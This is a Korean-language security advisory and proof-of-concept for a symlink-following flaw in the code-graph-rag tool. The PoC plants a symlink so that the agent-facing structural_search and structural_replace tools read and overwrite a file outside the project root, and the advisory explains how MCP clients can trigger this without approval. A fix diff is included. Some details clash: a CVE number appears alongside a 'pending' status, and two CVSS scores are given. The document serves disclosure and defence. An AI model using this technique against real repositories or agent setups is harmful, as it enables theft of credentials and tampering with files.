
PoC — code-graph-rag에서 프로젝트 루트 외부의 임의 파일 읽기/쓰기로 이어지는 심볼릭 링크 추적 (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1).
CVE 상태: 요청됨, 할당 대기 중. 이 발견 사항은 GHSA-85gg-2gfq-q95m으로 공개되었습니다. CVE가 할당되면 이 저장소는
CVE-YYYY-NNNNN-code-graph-rag-PoC로 이름이 변경되고 이 배너는 CVE 링크로 대체됩니다.
| 연구자 | Dostxodjayev Abdullox (@squeeze440) |
| 권고 | GHSA-85gg-2gfq-q95m |
| CVSS 3.1 | 7.1 (높음) |
| 취약점 | CWE-59, CWE-22 |
요약
code-graph-rag가 분석하는 소스 코드 저장소에 심볼릭 링크를 포함시킬 수 있는 원격/로컬 공격자는 structural_search 및 structural_replace 도구(AstGrepService 기반, MCP 도구와 에이전트 AI 도구 모두로 노출됨)가 구성된 프로젝트 루트 외부의 임의 파일을 읽고 — dry_run=False인 structural_replace를 통해 — 덮어쓸 수 있습니다. 이는 도구의 경로 포함 검사(should_skip_path/_classify_file)가 해석되지 않은 경로에 대해 어휘적으로 수행되며, 프로젝트 자체의 (올바른) validate_project_path 데코레이터와 달리 Path.is_symlink()를 확인하거나 .resolve()를 호출하지 않기 때문입니다.
제품
vitali87/code-graph-rag (PyPI: code-graph-rag, CLI: cgr)
테스트된 버전
커밋 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (pyproject 버전 0.0.550) — 테스트 시점의 현재 main. 이 커밋이 이미 이전 권고(GHSA-vvr2-h2jp-838m: 페이지네이션된 read_file 경로 순회)에 대한 수정과 최신 HTTP-MCP 베어러 인증 게이트(codebase_rag/mcp/server.py의 _validate_http_exposure)를 포함하고 있음을 확인했으므로, 이는 그러한 수정 위에 존재하는 별개의, 여전히 열려 있는 문제입니다.
추정 CVSS v3.1
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N — 7.0 (높음)
직관적이지 않은 지표:
structural_search/structural_replace를 실행해야 읽기/쓰기가 발생합니다.세부 사항
AstGrepService (codebase_rag/tools/ast_grep_service.py)는 structural_search 및 structural_replace MCP/에이전트 도구 모두를 지원합니다. 이는 os.walk()로 후보 파일을 열거하고 각 경로를 should_skip_path()를 통해서만 게이트합니다:
codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) — os.walk()로 self.project_root를 순회하며, os.walk가 반환하는 모든 비디렉터리 dirent(디스크 어디든 가리키는 심볼릭 링크 포함)는 범위 내 파일로 취급됩니다.codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) — 유일한 포함 검사는 should_skip_path(...)에 이어 abs_path.relative_to(self.project_root)(82행)이며, abs_path는 결코 해석되지 않으므로 이 검사는 순전히 어휘적/문자열 기반입니다.codebase_rag/utils/path_utils.py:80-109 (should_skip_path) 및 codebase_rag/utils/path_utils.py:35-37 (cached_relative_path) — .resolve()나 Path.is_symlink()를 호출하지 않고 rel_path = file_path.relative_to(repo_path)를 계산합니다. 이 함수에서 심볼릭 링크를 실제 파일과 다르게 취급하는 부분은 없습니다.codebase_rag/tools/ast_grep_service.py:143-144 (search) — source = self._read(abs_path)가 path.read_text()를 호출하며, Python은 대상이 어디에 있든 심볼릭 링크를 따라 실제 대상으로 이동합니다.codebase_rag/tools/ast_grep_service.py:187-208 (replace), 특히 208행 — dry_run=False일 때 abs_path.write_text(new_source, ...)가 다시 심볼릭 링크를 따라 실제 대상 파일의 내용을 덮어씁니다.이는 나머지 코드베이스가 동일한 위험 클래스를 처리하는 방식과 일치하지 않습니다. 파일 읽기/쓰기/편집 도구(file_reader.py, file_writer.py, file_editor.py)는 모두 validate_project_path (codebase_rag/decorators.py:73-75)로 보호됩니다:
full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)
.resolve()는 포함 검사가 실행되기 전에 심볼릭 링크를 따라가므로, 해당 도구들은 루트 외부 대상을 올바르게 거부합니다. path_utils.py 자체의 absolute_path_within_project_root() (codebase_rag/utils/path_utils.py:156-176)는 docstring에서 동일한 원칙을 명시적으로 문서화합니다: "resolve() 호출은 핵심입니다: 포함 검사는 어휘적으로 수행되므로, 해석되지 않은 .. 세그먼트나 심볼릭 링크는 루트를 벗어날 수 있습니다." — 그러나 structural_search/structural_replace가 사용하는 should_skip_path()/AstGrepService는 이 패턴을 결코 적용하지 않습니다.
두 도구의 도달 가능성/노출:
structural_search (codebase_rag/tools/structural_search.py:24-46)는 requires_approval 플래그가 전혀 없으므로, MCP 클라이언트의 모델이 사람의 확인 없이 자율적으로 호출할 수 있습니다.structural_replace (codebase_rag/tools/structural_editor.py:52-57)는 requires_approval=True로 표시되어 있지만, 이 플래그는 pydantic-ai 자체의 에이전트 루프에 의해서만 강제됩니다. MCP 서버 경로는 이를 완전히 우회합니다: MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596)는 self._structural_editor_tool.function(...)을 직접 호출하며, MCP 도구는 codebase_rag/mcp/tools.py:369-388(MCPToolName.STRUCTURAL_REPLACE에 대한 ToolMetadata)에서 승인 개념 없이 등록됩니다 — 도구를 호출할 수 있는 모든 MCP 클라이언트는 한 번에 dry_run=False로 structural_replace를 호출할 수 있습니다.개념 증명
설치된 패키지에 대해 동적으로 확인되었습니다(이전 권고의 PoC와 정확히 동일하게 mgclient/pymgclient를 모킹했으며, 이 코드 경로에는 Memgraph 네이티브 클라이언트가 필요하지 않기 때문입니다).
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
# poc.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService
SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)
matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN' (read escape)
changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())
실제 실행 출력(/tmp/poc_venv, 테스트된 커밋에서 pip install --no-deps -e .로 패키지 설치):
[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
match in reported file='linked_module.py' text='API_TOKEN'
match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
structural_search(), attributed to a path 'inside' the project root.
[*] Calling AstGrepService.replace(pattern='API_TOKEN',
rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
wrote change to reported file='linked_module.py' matches=2
[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
return PWNED_BY_STRUCTURAL_REPLACE
------------------------------------------------------------
[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root
(/tmp/poc_symlink/safe-project-root) was modified by structural_replace
via a symlink placed inside the root.
스크린샷 없음 — 이는 브라우저/GUI 구성 요소가 없는 순수 라이브러리/CLI 수준의 발견 사항입니다.
영향
cgr(CLI, 에이전트 ask_agent 모드, 또는 MCP structural_search/structural_replace 도구)을 완전히 감사하지 않은 저장소에 지정하는 모든 운영자 — 이 도구가 만들어진 바로 그 사용 사례("다국어 코드베이스를 쿼리, 이해, 편집") — 는 해당 저장소에 심어놓은 심볼릭 링크를 통해 다음을 당할 수 있습니다:
structural_search를 통해 cgr 프로세스가 읽을 수 있는 모든 파일(자격 증명, SSH 키, .env 파일, 형제 프로젝트 소스)의 내용을 유출하며, 승인 게이트가 전혀 없습니다.structural_replace(dry_run=False)를 통해 cgr 프로세스가 쓸 수 있는 모든 파일의 내용을 덮어쓰기합니다.이는 GHSA-vvr2-h2jp-838m과 동일한 "분석된 코드베이스의 악성 콘텐츠가 project_root를 벗어남" 버그 클래스이지만, 별개의 근본 원인(AstGrepService/should_skip_path의 심볼릭 링크 해석 누락, CWE-59)과 다른 구성 요소(codebase_rag/mcp/tools.py의 페이지네이션된 read_file이 아닌 codebase_rag/tools/ast_grep_service.py + codebase_rag/utils/path_utils.py)의 별개의, 더 심각한 싱크(읽기뿐 아니라 임의 쓰기)입니다. 이전 권고의 취약한 줄 범위나 수정과 겹치지 않습니다.
취약점
수정
validate_project_path (codebase_rag/decorators.py:73-75)와 absolute_path_within_project_root (codebase_rag/utils/path_utils.py:156-176)가 이미 사용하는 것과 동일한 resolve-then-contain 패턴을 should_skip_path에 적용하십시오. 해석되지 않은 경로 문자열만 확인하는 대신, 해석된(심볼릭 링크를 따라간) 위치가 해석된 프로젝트 루트를 벗어나는 모든 경로를 거부하십시오:
--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ def should_skip_path(
_is_file = path.is_file() if is_file is None else is_file
if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
return True
+ # Reject symlinks (or any path) that resolve outside the project root,
+ # mirroring validate_project_path's decorator (decorators.py:73-75) and
+ # absolute_path_within_project_root (this module, below).
+ try:
+ path.resolve().relative_to(repo_path.resolve())
+ except ValueError:
+ return True
rel_path = cached_relative_path(path, repo_path)
구체적으로: should_skip_path의 이 한 가지 변경이 _classify_file(검색)과 _iter_source_files(교체)의 os.walk 필터링 모두를 수정합니다. 둘 다 이를 통해 라우팅되기 때문입니다. 심층 방어로, _iter_source_files는 os.walk 중에 심볼릭 링크된 dirent(entry.is_symlink())를 추가로 완전히 건너뛸 수 있습니다. AI 기반 코드 분석 도구는 애초에 인덱싱된 루트 외부를 순회할 필요가 없기 때문입니다.
크레딧
Dostxodjayev Abdullox (GitHub: squeeze440)
보고 채널
비공개 취약점 보고(PVR)가 vitali87/code-graph-rag에서 활성화되어 있음이 확인되었으며, 이 보고서는 저장소의 기존 공개 권고(GHSA-vvr2-h2jp-838m)와 일관되게 해당 채널(GitHub Security Advisories)을 통해 제출되도록 작성되었습니다.